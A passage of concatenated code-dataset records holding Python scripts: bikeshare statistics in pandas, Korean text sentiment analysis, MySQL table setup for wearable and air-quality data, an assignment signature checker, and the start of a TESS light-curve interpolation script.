month\n top_month = df['Start Month Abbrev'].mode()[0]\n print('Most Popular Start Month:', top_month)\n # display the most common day of week\n top_day_abbrev = df['Start Day'].mode()[0]\n print('Most Popular Start Day :', top_day_abbrev)\n # display the most common start hour\n top_hour = df['Start Hour'].mode()[0]\n print('Most Popular Start Hour :', top_hour)\n\n # Display the Top 5 Months, Days, Hours\n #\n # Display Top 5 Months\n print()\n print('-'*79)\n top05_months = (df['Start Month Abbrev'].value_counts(dropna=False).\n iloc[:5].rename_axis('Month').reset_index(name='Trips'))\n print(\"Top 5 Most Popular Start Months with trip count:\\n\")\n print(top05_months)\n\n # Display Top 5 Days\n print()\n print('-'*79)\n top05_day_abbrev = (df['Start Day'].value_counts(dropna=False).\n iloc[:5].rename_axis('Day').reset_index(name='Trips'))\n print(\"Top 5 Most Popular Start Days with trip count:\\n\")\n print(top05_day_abbrev)\n\n # Display Top 5 Hours\n print()\n print('-'*79)\n top05_hours = (df['Start Hour'].value_counts(dropna=False).\n iloc[:5].rename_axis('Hour').reset_index(name='Trips'))\n print(\"Top 5 Most Popular Start Hours with trip count:\\n\")\n print(top05_hours)\n\n print(\"\\nTime Stats took %s seconds.\" % (time.time() - start_time))\n print('='*79)\n\n\ndef station_stats(df, filters):\n \"\"\"\n Displays statistics on the most popular Start Station and top 5.\n Displays statistics on the most popular End Station and top 5.\n Displays statistics on the most popular Trip and top 5. A trip is\n defined by the Start Station and End Station combination.\n\n Args:\n (df) df - Pandas DataFrame containing city data filtered by month & day\n (str) filters - string containing the filters the user selected\n to be displayed in the statistics output\n\n Returns:\n Nothing returned. Statics are printed to console.\n \"\"\"\n\n print()\n print(\"=\"*79)\n print('Calculating The Most Popular Stations and Trip . . .\\n')\n print(filter_note)\n print(filters)\n start_time = time.time()\n\n # Display most commonnly used start station, end station and\n # start-end combination\n print()\n print('-'*79)\n\n # display most commonly used start station\n top_start_station = df['Start Station'].mode()[0]\n print('Most Popular Start Station:', top_start_station)\n\n # display most commonly used end station\n top_end_station = df['End Station'].mode()[0]\n print('Most Popular End Station:', top_end_station)\n\n # display most frequent combination of start station and end station trip\n top_trip_df = (df.value_counts(['Start Station', 'End Station']).\n iloc[:1].reset_index(name='Trips'))\n top_trip_dict = top_trip_df.to_dict() # see sample below\n # {'Birth Year': {0: 1989.0}, 'Trips': {0: 14666}}\n # print(top_trip_dict)\n top_start = top_trip_dict.get('Start Station').get(0)\n top_end = top_trip_dict.get('End Station').get(0)\n top_count = math.ceil(top_trip_dict.get('Trips').get(0))\n print(\"Most popular Trip:\\n\\tStart Station: {}\"\n \"\\n\\tEnd Station : {}\\n\\tNumber of trips: {}\".\n format(top_start, top_end, top_count))\n\n # Display Top 5 start stations, end stations ans start-end combinations\n print('-'*79)\n # Display Top 5 start stations\n top05_start_stations = (df['Start Station'].value_counts(dropna=False).\n iloc[:5].rename_axis('Start Station').\n reset_index(name='Trips'))\n print(\"Top 5 Most Popular Start Stations with trip count:\\n\")\n print(top05_start_stations)\n print('-'*79)\n\n # Display Top 5 end stations\n top05_start_stations = (df['End Station'].value_counts(dropna=False).\n iloc[:5].rename_axis('End Station').\n reset_index(name='Trips'))\n print(\"Top 5 Most Popular End Stations with trip count:\\n\")\n print(top05_start_stations)\n print('-'*79)\n\n # Display Top 5 start-end combinations\n top05_trips = (df.value_counts(['Start Station', 'End Station']).\n iloc[:5].reset_index(name='Trips'))\n print(\"Top 5 Most Popular Trips (Starting and Ending Stations) \"\n \"with trip count:\\n\")\n print(top05_trips)\n print('-'*79)\n\n print(\"\\nStation Stats took %s seconds.\" % (time.time() - start_time))\n print('='*79)\n\n\ndef trip_duration_stats(df, filters):\n \"\"\"\n Displays statistics on the total and average trip duration.\n\n Args:\n (df) df - Pandas DataFrame containing city data filtered by month & day\n (str) filters - string containing the filters the user selected\n to be displayed in the statistics output\n\n Returns:\n Nothing returned. Statics are printed to console.\n \"\"\"\n print()\n print(\"=\"*79)\n print('Calculating Trip Duration Stats . . .\\n')\n print(filter_note)\n print(filters)\n start_time = time.time()\n\n # display total travel time\n print()\n print(\"Total Trip Duration: {} seconds\".\n format(math.ceil(df['Trip Duration'].sum())))\n\n # display mean travel time\n print(\"Average Trip Duration: {} seconds\".\n format(math.ceil(df['Trip Duration'].mean())))\n\n print(\"\\nDuration Stats took %s seconds.\" % (time.time() - start_time))\n print('='*79)\n\n\ndef user_stats(df, filters):\n \"\"\"\n Displays demographics statistics on the bikeshare users.\n Demographic attributes: User Types, Gender, Birth Year.\n Gender and Birth Year statistics are displayed only if\n those attributes exist in the file for the selected city.\n\n Args:\n (df) df - Pandas DataFrame containing city data filtered by month & day\n (str) filters - string containing the filters the user selected\n to be displayed in the statistics output\n\n Returns:\n Nothing returned. Statics are printed to console.\n \"\"\"\n print()\n print(\"=\"*79)\n print('Calculating User Stats . . .\\n')\n print(filter_note)\n print(filters)\n start_time_all = time.time()\n\n # Display counts of user types\n print(\"-\"*79)\n print('Calculating User Stats for User Type . . .\\n')\n start_time = time.time()\n user_types = (df['User Type'].value_counts(dropna=False).\n rename_axis('User Type').reset_index(name='Trips'))\n print(\"User Types by trip count:\\n\")\n print(user_types)\n print(\"\\nUser Types Stats took %s seconds.\" % (time.time() - start_time))\n\n # Get list of columns in the dataframe to use to check whether or not the\n # Gender and Birth Year columns are available in the selected file.\n col_list = list(df.columns)\n # print(col_list)\n\n # Display counts of gender\n if 'Gender' in col_list:\n print(\"-\"*79)\n print('Calculating User Stats for Gender . . .\\n')\n start_time = time.time()\n genders = (df['Gender'].value_counts(dropna=False).\n rename_axis('Gender').reset_index(name='Trips'))\n print(\"User Gender by trip count:\\n\")\n print(genders)\n print(\"\\nGender Stats took %s seconds.\" % (time.time() - start_time))\n else:\n print()\n print(\"The data for the selected city does not have a Gender column.\")\n print()\n\n # Display earliest, most recent, and most common year of birth\n if 'Birth Year' in col_list:\n print(\"-\"*79)\n print('Calculating User Stats for Birth Year . . .\\n')\n start_time = time.time()\n top_years = (df['Birth Year'].value_counts(dropna=False).\n iloc[:5].rename_axis('Birth Year').\n reset_index(name='Trips'))\n print(\"Top 5 User Birth Years by trip count:\\n\")\n print(top_years)\n top_year_df = (df['Birth Year'].value_counts(dropna=True).\n iloc[:1].rename_axis('Birth Year').\n reset_index(name='Trips'))\n top_year_dict = top_year_df.to_dict() # see sample below\n # {'Birth Year': {0: 1989.0}, 'Trips': {0: 14666}}\n top_year = math.ceil(top_year_dict.get('Birth Year').get(0))\n top_count = math.ceil(top_year_dict.get('Trips').get(0))\n print()\n print(\"Earliest Birth Year: {}\".\n format(math.ceil(df['Birth Year'].min())))\n print(\"Most Recent Birth Year: {}\".\n format(math.ceil(df['Birth Year'].max())))\n print(\"Most Common Birth Year: {} (excluding NaN) \"\n \"has a trip count of: {}\".format(top_year, top_count))\n print()\n print(\"Birth Year Stats took %s seconds.\" % (time.time() - start_time))\n print(\"-\"*79)\n else:\n print()\n print(\"The data for the selected city does not have a \"\n \"Birth Year column.\")\n print()\n\n print()\n print(\"User Stats took %s seconds total.\" % (time.time() - start_time_all))\n print('='*79)\n\n\ndef display_raw(df, len_df, num_rows):\n \"\"\"\n Displays raw data in sets of between 1 and 25 rows for each request.\n\n Args:\n (df) df - Pandas DataFrame containing city data filtered by month & day\n (int) len_df - length of the dataframe, i.e., the number of rows.\n Used to ensure the print of the raw data doesn't go beyond\n the end of file.\n (int) num_rows - number of lines to display in each chunk\n\n Returns:\n Nothing returned. Raw data rows are printed to console.\n \"\"\"\n chunk_size = num_rows # print num_rows rows of raw data at a time\n start_index = 0 # start at index 0\n see_more = 'y'\n while see_more.lower()[0] == 'y' and start_index < len_df:\n\n print()\n for i in range(1, chunk_size + 1):\n if start_index < len_df:\n print(df[start_index:start_index + 1].to_dict('records'))\n start_index += 1\n\n if start_index < len_df:\n see_more = input(\"\\nWould you like to see MORE lines raw data? \"\n \"\\n \")\n else:\n print()\n print(\"****************** End of Data Reached ******************\")\n print(\"Quitting raw data display. Toodles!\\n\")\n\n if see_more.lower()[0] != 'y':\n print(\"Quitting raw data display. Toodles!\\n\")\n\n\ndef get_raw(df):\n \"\"\"\n Asks user to choose whether or not they would like to view raw data,\n and if so, how many lines they want to see.\n Calls function to display the raw data N rows at a time if user\n responds in the affirmative, where N is taken from user input.\n Validates user input. Default value is used if a non-integer is provided\n or if the value is less than 1 or greater than 25 (parameterized).\n\n Calls the following functions:\n display_raw - displays raw data N rows at a time.\n\n Args:\n (df) df - Pandas DataFrame containing city data filtered by month & day\n\n Returns:\n Nothing returned. Raw data rows are printed to console.\n \"\"\"\n see_raw = input(\"Would you like to see some lines of raw data? \"\n \"\\n \")\n if see_raw.lower()[0] == 'y':\n default_rows = 5\n max_rows = 25 # parameterize max lines\n try:\n num_rows = int(input(\"How many lines would you like to see? \"\n \"\\n \"\n .format(max_rows)))\n except ValueError:\n print(\"\\nNon-integer provided. \"\n \"Defaulting to {} lines.\".format(default_rows))\n num_rows = default_rows\n if 1 <= num_rows <= max_rows:\n print(\"\\nInteger {} is between 1 and {}. \" \n \"Proceeding.\".format(num_rows,max_rows))\n else:\n print(\"\\nInteger not between 1 and {}. \"\n \"Defaulting to {} lines.\\n\".format(default_rows, max_rows))\n num_rows = default_rows\n print(\"\\nOK. Displaying {} lines of raw data . . .\\n\".format(num_rows))\n len_df = len(df)\n display_raw(df, len_df, num_rows)\n else:\n print(\"\\nOK. NOT displaying raw data.\\n\")\n\n\ndef confirm_choice():\n \"\"\"\n Asks user to confirm the city and date filtering selections.\n\n Returns:\n (str) confirm - 'y' means the user has confirmed the selections\n and the program will continue. 'n' or any response other than\n 'y' means the program will give the user the opportunity to\n restart and make new selections or quit.\n \"\"\"\n\n confirm_input = input(\"Please confirm your selection.\"\n \"\\n \")\n confirm = confirm_input[0].lower()\n if confirm == 'y':\n print(\"Confirmed.\")\n confirm = 'y'\n else:\n print(\"Trying again.\\n\")\n confirm = 'n'\n return confirm\n\n\ndef main():\n\n print(\"\\nHello! Let's explore some US Bikeshare data!\\n\")\n\n while True:\n\n quit_it, city, date_choice, month_abbrev, day_abbrev = get_filters()\n\n if quit_it == 'quit':\n print(\"Quitting. Toodles!\")\n break\n\n filters = ('\\t\\tCity: {}, Date Filters: {}, Month: {}, Day: {}.\\n'.\n format(city.title(), date_choice, month_abbrev.title(),\n day_abbrev.title()))\n\n confirm = confirm_choice()\n if confirm == 'y':\n df = load_data(city, month_abbrev, day_abbrev)\n if df.empty:\n print()\n print('DataFrame is empty after filtering!')\n print('Please select different options.')\n else:\n time_stats(df, filters)\n station_stats(df, filters)\n trip_duration_stats(df, filters)\n user_stats(df, filters)\n get_raw(df)\n\n restart = input(\"\\nWould you like to restart?\"\n \"\\n \\n\")\n if restart.lower()[0] != 'r':\n print(\"Quitting. Toodles!\")\n break\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"bikeshare.py","file_name":"bikeshare.py","file_ext":"py","file_size_in_byte":29557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"214077580","text":"from textblob import TextBlob\nfrom googletrans import Translator\nimport time\nimport sys\n\n\nfilename = sys.argv[1]\nfp = open(filename, 'r')\ncontent = fp.readlines()\ncontent = ' '.join(content)\nfp.close()\ntranslator = Translator()\n\nengString = translator.translate(content,src='ko')\nengString = engString.text\n\nanalysis = TextBlob(engString)\npolarity = analysis.sentiment.polarity\nposNeg = \"\"\n\nif polarity > 0:\n posNeg = \"긍정\"\nelif polarity == 0:\n posNeg = \"중립/판별불가\"\nelse:\n posNeg = \"부정\"\n\npolarity = float(polarity) * 100\nprint(posNeg)\nprint(\"{0:.2f}\".format(polarity))\n","sub_path":"web/pycodes/sentiment.py","file_name":"sentiment.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"170502864","text":"######################################################################################################################\n## ##\n## Módulo Python 3.6.5 (32 bits) para leer un fichero xls y guardar la información en una base de datos MySQL ##\n## mediante las librerías pandas y mysql ##\n## ##\n## Se leen los datos pertenecientes a los valores de longitud y latitud a partir de fichero json ##\n## ## \n## Se muestran los primeros y últimos 5 registros para ver si la información es correcta ##\n## Se determina el número total de campos vacíos en los datos ##\n## ##\n## Versión 1.12.5 ##\n## Fecha creación: 1/02/2018 ##\n## Última modificación: 19/04/2019 ##\n## Enrique Alfonso Carmona García ##\n## eacarmona860920@gmail.com ##\n## La información relativa a la librería pandas puede ser consultada en: ##\n## http://pandas.pydata.org/pandas-docs/stable/index.html ##\n## La información relativa a la librería numpy (necesaria para pandas) puede ser consultada en: ##\n## https://docs.scipy.org/doc/ ##\n## La información relativa a mysql.conector puede ser consultada en: ##\n## https://dev.mysql.com/doc/connector-python/en/ ##\n## Se requiere \"pip install mysql-connector-python\" ##\n## ##\n######################################################################################################################\n \n######################################################################################################################\n## ##\n## Cargando las librerías necesarias... ##\n## ##\n###################################################################################################################### \n\nimport pandas as panda\nimport mysql.connector\nfrom mysql.connector import errorcode\nfrom datetime import datetime\nfrom geopy import distance\n\n######################################################################################################################\n## ##\n## Listado de variables utilizadas... ##\n## ##\n## direccionFichero [Contiene la ruta donde se encuentra el fichero xls a leer]... ##\n## ##\n## config [Contiene la información de configuración del servidor de base de datos MySQL]... ##\n## nombreBd [Contiene el nombre de la base de datos]... ##\n## tabla [Contiene las instrucciones SQL necesarias para crear las tablas en la base de datos]... ##\n## datos [Contiene toda la información necesaria para insertar un nuevo registro en la base de datos]... ##\n## add [Contiene las instrucciones SQL para insertar un registro nuevo en la base de datos]... ##\n## cnx [Para manejar la conección al servidor MySQL]... ##\n## cursor [Para indicar las instrucciones al servidor MySQL]... ##\n## ##\n######################################################################################################################\n\n######################################################################################################################\n## ##\n## Estableciendo las variables de configuración necesarias... ##\n## Estableciendo la esctructura de las tablas en la base de datos... ##\n## ##\n######################################################################################################################\n\nnombreBDAlmacen = 'almacen' ## Configuración para la base de dato de localización gegráfica...\nconfigAlmacen = {\n 'user' : 'kike',\n 'password' : 'kike123',\n 'host' : '127.0.0.1',\n 'database' : 'almacen',\n 'raise_on_warnings' : True,\n}\n\nconfigVariables = {\n 'user' : 'kike',\n 'password' : 'kike123',\n 'host' : '127.0.0.1',\n 'database' : 'wearables',\n 'raise_on_warnings' : True,\n}\n\n\n\ntablaAlmacen = {} ## Definición de la tabla de localización...\ntablaAlmacen[nombreBDAlmacen] = ( \n \"CREATE TABLE `almacendatos` (\"\n \" `IDALDA` INT NOT NULL AUTO_INCREMENT,\"\n \" `IDUSUARIO` INT NULL,\"\n \" `LATUSR` DOUBLE NULL,\"\n \" `LONGUSR` DOUBLE NULL,\"\n \" `FECHA` TIMESTAMP NULL,\"\n \" `MARCATIEMPO` DOUBLE NULL,\"\n \" `SO2` DOUBLE NULL,\"\n \" `TORRESO2` TEXT NULL,\"\n \" `NO2` DOUBLE NULL,\"\n \" `TORRENO2` TEXT NULL,\"\n \" `RH` DOUBLE NULL,\"\n \" `TORREHR` TEXT NULL,\"\n \" `CO` DOUBLE NULL,\"\n \" `TORRECO` TEXT NULL,\"\n \" `NO` DOUBLE NULL,\"\n \" `TORRENO` TEXT NULL,\"\n \" `NOX` DOUBLE NULL,\"\n \" `TORRENOX` TEXT NULL,\"\n \" `O3` DOUBLE NULL,\"\n \" `TORREO3` TEXT NULL,\"\n \" `PM10` DOUBLE NULL,\"\n \" `TORREPM10` TEXT NULL,\"\n \" `PM25` DOUBLE NULL,\"\n \" `TORREPM25` TEXT NULL,\"\n \" `PA` DOUBLE NULL,\"\n \" `TORREPA` TEXT NULL,\"\n \" `RUVA` DOUBLE NULL,\"\n \" `TORRERUVA` TEXT NULL,\"\n \" `RUVB` DOUBLE NULL,\"\n \" `TORRERUVB` TEXT NULL,\"\n \" `TEMPAMB` DOUBLE NULL,\"\n \" `TORRETEMPAMB` TEXT NULL,\"\n \" `BVP` DOUBLE NULL,\"\n \" `BVPPROMSEG` DOUBLE NULL,\"\n \" `BVPDESESTSEG` DOUBLE NULL,\"\n \" `BVPMEDSEG` DOUBLE NULL,\"\n \" `BVPMINSEG` DOUBLE NULL,\"\n \" `BVPMAXSEG` DOUBLE NULL,\"\n \" `EDA` DOUBLE NULL,\"\n \" `EDAPROMSEG` DOUBLE NULL,\"\n \" `EDADESESTSEG` DOUBLE NULL,\"\n \" `EDAMEDSEG` DOUBLE NULL,\"\n \" `EDAMINSEG` DOUBLE NULL,\"\n \" `EDAMAXSEG` DOUBLE NULL,\"\n \" `RC` DOUBLE NULL,\"\n \" `RCPROMSEG` DOUBLE NULL,\"\n \" `RCDESESTSEG` DOUBLE NULL,\"\n \" `RCMEDSEG` DOUBLE NULL,\"\n \" `RCMINSEG` DOUBLE NULL,\"\n \" `RCMAXSEG` DOUBLE NULL,\"\n \" `TEMPC` DOUBLE NULL,\"\n \" `TCPROMSEG` DOUBLE NULL,\"\n \" `TCDESESTSEG` DOUBLE NULL,\"\n \" `TCMEDSEG` DOUBLE NULL,\"\n \" `TCMINSEG` DOUBLE NULL,\"\n \" `TCMAXSEG` DOUBLE NULL,\"\n \" PRIMARY KEY (`IDALDA`));\"\n \" ENGINE = InnoDB\"\n)\n\n######################################################################################################################\n## ##\n## Creando una clase para convertir los tipos de datos a tipos MySQL... ##\n## ##\n######################################################################################################################\n\nclass NumpyMySQLConverter(mysql.connector.conversion.MySQLConverter):\n \n \"\"\" A mysql.connector Converter que es capaz de manejar los tipos de datos de Numpy \"\"\"\n\n def _float32_to_mysql(self, value): \n return float(value)\n\n def _float64_to_mysql(self, value):\n return float(value)\n\n def _int32_to_mysql(self, value):\n return int(value)\n\n def _int64_to_mysql(self, value):\n return int(value) \n\n def _timestamp_to_mysql(self, value):\n return datetime.timestamp(value)\n\n######################################################################################################################\n## ##\n## Conectando al SGBD MySQL y creando las tablas definidas... ##\n## -> Se conecta a almacen y se crea la tabla almacendatos...\n## ##\n######################################################################################################################\n\ntry:\n print (\"Creando las variables de conexión...\")\n cnx = mysql.connector.connect(**configAlmacen)\n cnx.set_converter_class(NumpyMySQLConverter)\nexcept mysql.connector.Error as err:\n if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:\n print (\" \")\n print(\"Su usuario o contraseña no son correctos, por favor verifique...\")\n elif err.errno == errorcode.ER_BAD_DB_ERROR:\n print (\" \")\n print(\"No existe la base de datos, por favor verifique...\")\n else:\n print (\" \")\n print(err)\nelse:\n print (\" \")\n print (\"Conexión exitosa...\")\n cursor = cnx.cursor()\n \n######################################################################################################################\n## ##\n## Función para crear la base de datos en el formato correspondiente... ##\n## ##\n######################################################################################################################\n\ndef create_database(cursor): ## Función para la base de d...\n try:\n cursor.execute(\n \"CREATE DATABASE {} DEFAULT CHARACTER SET 'utf8'\".format(nombreBDAlmacen))\n except mysql.connector.Error as err:\n print (\" \")\n print(\"Error al crear la base de datos señalada: {}\".format(err))\n exit(1)\n\n######################################################################################################################\n## ##\n## Se solicita crear las base de datos... ##\n## ##\n######################################################################################################################\n\ntry: \n cnx.database = nombreBDAlmacen \nexcept mysql.connector.Error as err:\n if err.errno == errorcode.ER_BAD_DB_ERROR:\n create_database(cursor)\n cnx.database = nombreBDAlmacen\n else:\n print (\" \")\n print(err)\n exit(1) \n\n######################################################################################################################\n## ##\n## Se solicita crear todas las tablas definidas... ##\n## ##\n######################################################################################################################\n\nfor name, ddl in tablaAlmacen.items():\n try:\n print (\" \")\n print(\"Creando la tabla {}: \".format(name), end='')\n cursor.execute(ddl)\n except mysql.connector.Error as err:\n if err.errno == errorcode.ER_TABLE_EXISTS_ERROR:\n print (\" \")\n print(\"Ya existe la base de datos...\")\n else:\n print (\" \")\n print(err.msg)\n else:\n print (\" \")\n print(\"Tablas creadas...\")\n\n######################################################################################################################\n## ##\n## Se cierra el enlace a la base de datos... ##\n## ##\n######################################################################################################################\n\ncursor.close()\ncnx.close()\n\n######################################################################################################################\n## ##\n## Conectando al SGBD MySQL y creando las tablas definidas... ##\n## -> Se conecta a wearable y se crea la tabla almacendatos...\n## ##\n######################################################################################################################\n\ntry:\n print (\"Creando las variables de conexión...\")\n cnx = mysql.connector.connect(**configVariables)\n cnx.set_converter_class(NumpyMySQLConverter)\nexcept mysql.connector.Error as err:\n if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:\n print (\" \")\n print(\"Su usuario o contraseña no son correctos, por favor verifique...\")\n elif err.errno == errorcode.ER_BAD_DB_ERROR:\n print (\" \")\n print(\"No existe la base de datos, por favor verifique...\")\n else:\n print (\" \")\n print(err)\nelse:\n print (\" \")\n print (\"Conexión exitosa...\")\n cursor = cnx.cursor()\n\n\n\ncursor.execute(\n \"SELECT * FROM e4temp\"\n)\n\ndatosTEMP = cursor.fetchall()\n\nfor i in datosTEMP:\n fecha = i[1]\n bvp = i[2]\n usuario = i[3]\n print(\"Fecha: \" + str(fecha))\n print(\"BVP: \" + str(bvp))\n print(\"Usuario: \" + str(usuario))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n######################################################################################################################\n## ##\n## -> Las variables corresponden a sus respectivos campos en la base de datos (Ver descripción anterior)... ##\n## datosLoc [Contiene la información de la latitud, longitud y de la torre asignada]... ##\n## (La torre seleccionada es la más cercana a las coordenadas seleccionadas)... ##\n## -> Consulta SQL necesaria para insertar los valores en la base de datos... [addLoc] ##\n## ##\n######################################################################################################################\n\nidUsuario = \"\"\nlatUsuario = \"\"\nlongUsuario = \"\"\nfecha = \"\"\nmarcaTiempo = \"\"\nso2 = \"\"\ntorreSO2 = \"\"\nno2 = \"\"\ntorreNO2 = \"\"\nrh = \"\"\ntorreRH = \"\"\nco = \"\"\ntorreCO = \"\"\nno = \"\"\ntorreNO = \"\"\nnox = \"\"\ntorreNOX = \"\"\no3 = \"\"\ntorreO3 = \"\"\npm10 = \"\"\ntorrePM10 = \"\"\npm25 = \"\"\ntorrePM25 = \"\"\npa = \"\"\ntorrePA = \"\"\nuva = \"\"\ntorreUVA = \"\"\nuvb = \"\"\ntorreUVB = \"\"\ntemp = \"\"\ntorreTEMP = \"\"\nbvp = \"\"\nbvpPromSeg = \"\"\nbvpDesEstSeg = \"\"\nbvpMedSeg = \"\"\nbvpMinSeg = \"\"\nbvpMaxSeg = \"\"\neda = \"\"\nedaPromSeg = \"\"\nedaDesEstseg = \"\"\nedaMedSeg = \"\"\nedaMinSeg = \"\"\nedaMaxSeg = \"\"\nrc = \"\"\nrcPromSeg = \"\"\nrcDesEstSeg = \"\"\nrcMedSeg = \"\"\nrcMinSeg = \"\"\nrcMaxSeg = \"\"\ntempC = \"\"\ntempCPromSeg = \"\"\ntempCDesEstSeg = \"\"\ntempCMedSeg = \"\"\ntempCMinSeg = \"\"\ntempCMaxSeg = \"\"\n\ndatosAlm = {\n 'datoIdUsuario' : idUsuario,\n 'datoLatUsuario' : latUsuario,\n 'datoLongUsuario' : longUsuario,\n 'datoFecha' : fecha,\n 'datoMarcaTiempo' : marcaTiempo,\n 'datoSO2' : so2,\n 'datoTorreSO2' : torreSO2,\n 'datoNO2' : no2,\n 'datoTorreNO2' : torreNO2,\n 'datoRH' : rh,\n 'datoTorreRH' : torreRH,\n 'datoCO' : co,\n 'datoTorreCO' : torreCO,\n 'datoNO' : no,\n 'datoTorreNO' : torreNO,\n 'datoTorreNOX' : nox,\n 'datoTorreNOX' : torreNOX,\n 'datoO3' : o3,\n 'datoTorreO3' : torreO3,\n 'datoTorrePM10' : pm10,\n 'datoTorrePM10' : torrePM10,\n 'datoPM25' : pm25,\n 'datoTorrePM25' : torrePM25,\n 'datoPA' : pa,\n 'datoTorrePA' : torrePA,\n 'datoUVA' : uva,\n 'datoTorreUVA' : torreUVA,\n 'datoUVB' : uvb,\n 'datoTorreUVB' : torreUVB,\n 'datoTEMP' : temp,\n 'datoTorreTEMP' : torreTEMP,\n 'datoBVP' : bvp,\n 'datoBVPPromSeg' : bvpPromSeg,\n 'datoBVPDesEstSeg' : bvpDesEstSeg,\n 'datoBVPMedSeg' : bvpMedSeg,\n 'datoBVPMinSeg' : bvpMinSeg,\n 'datoBVPMaxSeg' : bvpMaxSeg,\n 'datoEDA' : eda,\n 'datoEDAPromSeg' : edaPromSeg,\n 'datoEDADesEstSeg' : edaDesEstseg,\n 'datoEDAMedSeg' : edaMedSeg,\n 'datoEDAMinSeg' : edaMinSeg,\n 'datoEDAMaxSeg' : edaMaxSeg,\n 'datoRC' : rc,\n 'datoRCPromSeg' : rcPromSeg,\n 'datoRCDesEstSeg' : rcDesEstSeg,\n 'datoRCMedSeg' : rcMedSeg,\n 'datoRCMinSeg' : rcMinSeg,\n 'datoRCMaxSeg' : rcMaxSeg,\n 'datoTempC' : tempC,\n 'datoTempCPromSeg' : tempCPromSeg,\n 'datoTempCDesEstSeg' : tempCDesEstSeg,\n 'datoTempCMedSeg' : tempCMedSeg,\n 'datoTempCMinSeg' : tempCMinSeg,\n 'datoTempCMaxSeg' : tempCMaxSeg,\n}\n\n\n\n\n\n\n\n \n\n\n\n\n\ncursor.close()\ncnx.close()\n\n\n\n","sub_path":"almacen.py","file_name":"almacen.py","file_ext":"py","file_size_in_byte":19281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"303668600","text":"import numpy\n\ndef _make_city(name,neighbours):\n return []\n\n\ndef _make_connections(n,density=0.35):\n return numpy.triu([[1,2,3],[4,5,6],[7,8,9],[10,11,12]], -1)\n \ndef _set_up_cities(names=['Toronto', 'New York City', \n 'Los Angeles', 'Mexico City', \n 'Chicago', 'Washington DC', \n 'Arlington County', 'Langley', \n 'Fort Meade', 'Vancouver', \n 'Houston', 'Ottawa',\n 'Jacksonville', 'San Francisco', \n 'Waltham', 'Bethesda']):\n return []\n\ndef _get_real_world():\n return []\n\ndef _draw_world(world):\n pass\n\ndef _print_world(world):\n pass\n\n\ndef _get_cityno(world,city_in):\n return 0\n\ndef _is_connected(world,city1,city2):\n return True\n\ndef _reset_world(world):\n pass\n\nimport inspect\nimport A2\n\nfile = A2\n\ndef check_args(func,template_func):\n if inspect.getfullargspec(func) != inspect.getfullargspec(template_func):\n error_string = ''.join([\"function signature for '\",\n func.__name__,\n \"' in \",\n str(file),\n \" has been changed from its original form!\"])\n raise SyntaxError(error_string)\n else:\n print(func.__name__,\"has correct signature\")\n\ndef check_return_type(func,template_func,args):\n if type(func(*args)) == type(template_func(*args)):\n print(func.__name__,\"return type okay\")\n else:\n error_string = ''.join([\"return type for '\",\n func.__name__,\n \"' in \",\n str(file),\n \" has been changed from its original form!\"])\n raise TypeError(error_string)\n\ntemplate_functions = [_make_city,\n _make_connections,\n _set_up_cities,\n _get_real_world,\n _draw_world,\n _print_world,\n _get_cityno,\n _is_connected,\n _reset_world]\n\nname = 'Toronto'\nneighbours = [0, 1]\ncity = [name, True, neighbours]\nworld = [[city,city]]\n\ntemplate_args = [(name,neighbours),(1,1),(),(),\n (world),(world),(world,city),\n (world,city,city),(world)]\n\nfunctions = [file.make_city,\n file.make_connections,\n file.set_up_cities,\n file.get_real_world,\n file.draw_world,\n file.print_world,\n file.get_cityno,\n file.is_connected,\n file.reset_world]\n\n# Checking that name and student number comments have changed\nwith open('A2.py') as f:\n f.readline()\n if f.readline() == \"## Name: PLEASE FILL THIS IN\\n\":\n raise SyntaxError(\"You forgot to enter your name!\")\n if f.readline() == \"## Student number: SERIOUSLY\\n\":\n raise SyntaxError(\"You forgot to enter your student number!\")\n\n# Checking that arguments and return types of functions are correct\nfor i in range(len(functions)):\n check_args(functions[i],template_functions[i])\n check_return_type(functions[i],template_functions[i],template_args[i])\n","sub_path":"Assignment2/A2_check.py","file_name":"A2_check.py","file_ext":"py","file_size_in_byte":3272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"244997419","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 3 12:08:47 2020\n\n@author: conta\n\"\"\"\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom pylab import rcParams\nrcParams['figure.figsize'] = 10, 10\nrcParams[\"lines.markersize\"] = 2\nfrom scipy.signal import argrelextrema\n\nimport astropy\nfrom astropy.io import fits\nimport scipy.signal as signal\n\nfrom datetime import datetime\nimport os\nfrom scipy.stats import moment, sigmaclip\n\nimport sklearn\nfrom sklearn.cluster import KMeans\n\nfrom sklearn.cluster import DBSCAN\nfrom sklearn.preprocessing import Normalizer\nfrom sklearn import metrics\nimport fnmatch\n\nfrom sklearn.metrics import confusion_matrix\nimport feature_functions\nfrom feature_functions import *\n\ntest(8) #should return 8 * 4\n#%%\n# emma's interpolation code\n\nfitspath = '/Users/conta/UROP_Spring_2020/tessdata_lc_sector20_1000/'\nfnames_all = os.listdir(fitspath)\nfnames = fnmatch.filter(fnames_all, '*fits*')\n\ninterp_tol = 20. / (24*60) # >> interpolate small gaps (less than 20 minutes)\n\nintensity = []\ntargets = []\nfor file in fnames:\n # -- open file -------------------------------------------------------------\n f = fits.open(fitspath + file)\n\n # >> get data\n time = f[1].data['TIME']\n i = f[1].data['PDCSAP_FLUX']\n tic = f[1].header[\"OBJECT\"]\n targets.append(tic)\n # -- find small nan gaps ---------------------------------------------------\n # >> adapted from https://gist.github.com/alimanfoo/c5977e87111abe8127453b21204c1065\n # >> find run starts\n n = np.shape(i)[0]\n loc_run_start = np.empty(n, dtype=bool)\n loc_run_start[0] = True\n np.not_equal(np.isnan(i)[:-1], np.isnan(i)[1:], out=loc_run_start[1:])\n run_starts = np.nonzero(loc_run_start)[0]\n\n # >> find run lengths\n run_lengths = np.diff(np.append(run_starts, n))\n\n tdim = time[1] - time[0]\n interp_inds = run_starts[np.nonzero((run_lengths * tdim <= interp_tol) * 